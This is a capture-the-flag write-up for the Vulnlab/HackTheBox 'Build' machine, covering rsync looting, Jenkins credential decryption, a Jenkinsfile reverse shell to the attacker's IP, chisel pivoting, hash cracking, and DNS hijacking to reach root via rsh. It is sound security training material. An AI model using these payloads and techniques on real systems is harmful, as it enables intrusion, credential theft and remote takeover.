# Build - Writeup (Vulnlab & HackTheBox)

# FOOTHOLD

* #### NMAP INFO
    

```plaintext
PORT     STATE    SERVICE
22/tcp   open     ssh
53/tcp   open     domain
512/tcp  open     exec
513/tcp  open     login
514/tcp  open     shell
873/tcp  open     rsync
3000/tcp open     ppp
3306/tcp filtered mysql
8081/tcp filtered blackice-icecap
```

We have two important ports to focus on, and both are highly interconnected. I'll start with RSYNC and then move on to GITEA.

## RSYNC | 873/tcp

If we focus on **Port 873**, we see the **RSYNC** service running. This service is commonly used for synchronizing files and directories between different systems:

```plaintext
rsync -av --list-only rsync://10.129.234.169/
```

This reveals a resource called "backups." We can synchronize this to a local directory we create named `files/backups`:

```plaintext
rsync -av rsync://10.129.234.169/backups files/backups
```

We have a file named `jenkins.tar.gz`, which we extract to obtain the full source code, including configuration files and other related data.

## Dumping Credentials

Following this link, I was able to obtain very valuable information on how we could recover credentials over Jenkins: [https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials](https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials)

We need the following files to accomplish this:

* `master.key` *(jenkins\_configuration/secrets/master.key)*
    
* `hudson.util.Secret` *(/secrets/hudson.util.Secret)*
    
* `config.xml` *(jenkins\_configuration/jobs/build)*
    

The `master.key`, `hudson.util.Secret`, and `config.xml` files are crucial in Jenkins for decrypting stored credentials. The `master.key` and `hudson.util.Secret` are used together to encrypt and decrypt sensitive data, while `config.xml` contains job configurations that may include credentials.

With these files and the script, I was able to dump the credentials of the `buildadm` user and gain access to it through Gitea. You can find the script here: [https://github.com/gquere/pwn\_jenkins/blob/master/offline\_decryption/jenkins\_offline\_decrypt.py](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py)

```python
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret config.xml
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754971172118/c1595fd6-22e9-46c1-9a32-7bd20eb9bda4.png align="center")

<mark>Got it! → </mark> `Git1234!`

## GITEA 3000/tcp

Now that we have the `buildadm` credentials, we can head over to Gitea and log in as that user:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754971321553/cbac7e39-eea2-4cbc-84f2-5c759e1f7360.png align="center")

## PoC to Obtain a Reverse Shell

With full access to the `buildadm/dev` repository in Gitea, we can modify its build pipeline. The Jenkins instance is configured to automatically pull and execute changes from this repository via a webhook, meaning any code we commit will be executed in the build environment.

By editing the `Jenkinsfile` directly through the Gitea web interface, we insert a reverse shell payload. Once committed, Jenkins will detect the change through the webhook and execute it during the next pipeline run.

We then start a listener on our machine to catch the incoming connection. After committing the changes, Jenkins processes the updated `Jenkinsfile`, triggers the malicious stage, and we receive a reverse shell within a minute or two, confirming remote code execution in the Jenkins environment.

* Revshell payload
    

```python
pipeline {
    agent any

    stages {
        stage('pwnRev') {
            steps {
                sh '''
                    bash -c 'bash -i >& /dev/tcp/10.10.14.28/9000 0>&1'
                '''
            }
        }
    }
}
```

Finally, we got the reverse shell:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754972264444/89211932-6ec7-4b8a-a124-95cd8ae51a4e.png align="center")

# USER.txt

After obtaining the reverse shell, we can read the `user.txt` file located in the `/root/user.txt` directory.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754972719726/f52240bf-c8e5-4703-9c1a-05bf395748cd.png align="center")

## .RHOSTS file:

Checking the `.rhosts` file located in the same directory as the `user.txt` file reveals the following domains:

→ admin.build.vl

→ intern.build.vl

This information will be useful later on.

The hostname and the presence of `/.dockerenv` confirm that we are inside a Docker container:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754972825729/d91f158d-3485-446e-adf1-0fe63cad3365.png align="center")

Reading `/proc/net/route` we can see:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754973407106/95eb3c66-9423-4dbc-8d80-77b02d6709bd.png align="center")

And we can check this with ChatGPT to understand a bit more:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754973391167/2dcf1449-ea4f-4ab1-8f7c-20c01462a5b6.png align="center")

*The addresses are in little-endian and hex. So..*

* My current IP is `172.18.0.3`
    
* Checking `/proc/net/route`, I see the gateway is `172.18.0.1` and the subnet is `172.18.0.0/16`.
    
* This means `172.18.0.1` is most likely the docker host, and container ip’s start from `172.18.0.2`.
    

## Chisel and Proxychain

I’m going to upload **chisel** to `/tmp` and set it up together with **proxychains** to gain more mobility within the internal network, allowing me to scan it more comfortably.

**On the attacker machine:**

```bash
./chisel server --reverse --port 1234
```

**On the victim machine:**

```bash
./chisel client 10.10.14.28:1234 R:9050:socks &
```

**In** `/etc/proxychains.conf`:

```python
socks5 127.0.0.1 9050
```

Performing an internal scan with Nmap via proxychains on the Docker host:

```bash
proxychains nmap 172.18.0.1
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754975652016/588e31ff-bb5f-478f-83ee-7e00b52b6926.png align="center")

The new nmap results from inside the network now show that ports **<mark>3306</mark>** and **<mark>8081</mark>**, which were previously filtered in the initial external scan, are now marked as **<mark>open</mark>**.

## MYSQL | 3306/tcp

Connecting to MySQL as `root` without password works and I find a database named `powerdnsadmin` containing a table called `records`, which provides very useful information:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754977111666/6f38a252-4a42-41bb-93ca-d0e6a4ce6fd1.png align="center")

## Summary of Internal Network Enumeration

The `172.18.0.0/16` Docker network contains hosts from `172.18.0.1` to `172.18.0.6`.

* **intern.build.vl** → Docker host.
    
* **gitea.build.vl** → Gitea container.
    
* **jenkins.build.vl** → Jenkins container where we obtained a reverse shell.
    

### Scanning the remaining hosts with nmap:

* **172.18.0.4 (db.build.vl)** → MariaDB container (`3306/tcp` open, port forwarded to the host).
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754977418760/709de600-5ddd-485c-9196-7c97fa596940.png align="center")
    
* **172.18.0.5 (pdns-worker.build.vl / pdns.build.vl)** → PowerDNS container (`53/tcp` DNS service, `8081/tcp` web interface, both forwarded to the host).
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754977446617/3a0ae303-4c39-477d-867e-8f859a399fff.png align="center")

* **172.18.0.6** → HTTP service on port `80/tcp`.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754977617859/547f219a-bf4b-4c03-b4d2-d53fdfc4f15b.png align="center")

## PowerDNS-Admin

We can find the repository for PowerDNS-Admin here: [https://github.com/PowerDNS-Admin/PowerDNS-Admin](https://github.com/PowerDNS-Admin/PowerDNS-Admin) to learn more about the application. After setting up **chrome** to use the SOCKS proxy on port `9050`, I was able to browse to its web interface.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754977991945/9054cf8d-1f15-4c9f-876d-6d5b052c5b26.png align="center")

A login page is presented, requiring both credentials and an OTP token. Since we previously saw references to this in the MySQL database, the next step is to investigate whether we can retrieve credentials or any password hashes from there to crack.

* **user** table:
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754978100783/25bd1162-1aa0-4375-8dbd-d14132b8a21f.png align="center")

I save the hash to a file named `admin-hash` and use **hashcat** with **rockyou.txt** to attempt cracking it, with a positive result:

> The password is: **winston**

```bash
hashcat admin-hash ~/wordlist/rockyou.txt -m 3200
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754978323504/38244aef-df63-4963-a27b-445a4a686c3b.png align="center")

We obtain a successful login since the `admin` user does not have OTP enabled :D

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754978381183/8d13780d-9e71-41ca-aa05-6b56a57ae66a.png align="center")

From the **PowerDNS-Admin** panel, I can edit <mark>DNS records</mark>, for example:

```bash
http://172.18.0.6/domain/build.vl
```

When we grabbed the user flag earlier, we found a `.rhosts` file in the Jenkins container with:

```bash
admin.build.vl +
intern.build.vl +
```

`.rhosts` is used by `rlogin` and `rsh` to allow certain hosts to log in without a password.

A quick scan of `172.18.0.1` to `172.18.0.6` showed that ports `512–514` <mark>are only open on </mark> `172.18.0.1`, meaning those services run on the Docker host, not in containers.

It turns out `/root` in the Jenkins container is a bind mount from `/root/scripts/root` on the host, so the `.rhosts` file is shared. These entries mean any connection from `admin.build.vl` or `intern.build.vl` is trusted, including root logins. The host verifies this by resolving the domains via PowerDNS and checking the IP.

Right now, `admin.build.vl` has no DNS record, and `intern.build.vl` points to `172.18.0.1` (the host), so passwordless login works only locally. <mark>But since we can edit DNS records, we can add or change one to point to our attacker IP, tricking the server into trusting us and letting us log in via </mark> `rlogin`<mark>/</mark>`rsh` <mark>as root.</mark>

## DNS Hijack to Gain Root Access

DNS hijacking involves redirecting DNS queries to malicious servers (our case), allowing attackers to impersonate trusted hosts.

So.. from the **PowerDNS-Admin** panel, we add a new record for `admin.build.vl` pointing to our attack machine’s IP:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754979185788/25647566-b628-4448-a71b-aa1258444c5e.png align="center")

**Apply Changes** and we confirm the record is set using `dig`:

```bash
dig admin.build.vl @10.129.234.169
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754979220666/914ce414-fc40-4062-9a29-4c5ec7cb31cd.png align="center")

With this in place, we can log in as root without a password using `rlogin` or `rsh`:

```bash
rsh root@build.vl
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754979299868/11755007-0dc7-4047-b587-68a5ffa4d006.png align="center")

Pwned!
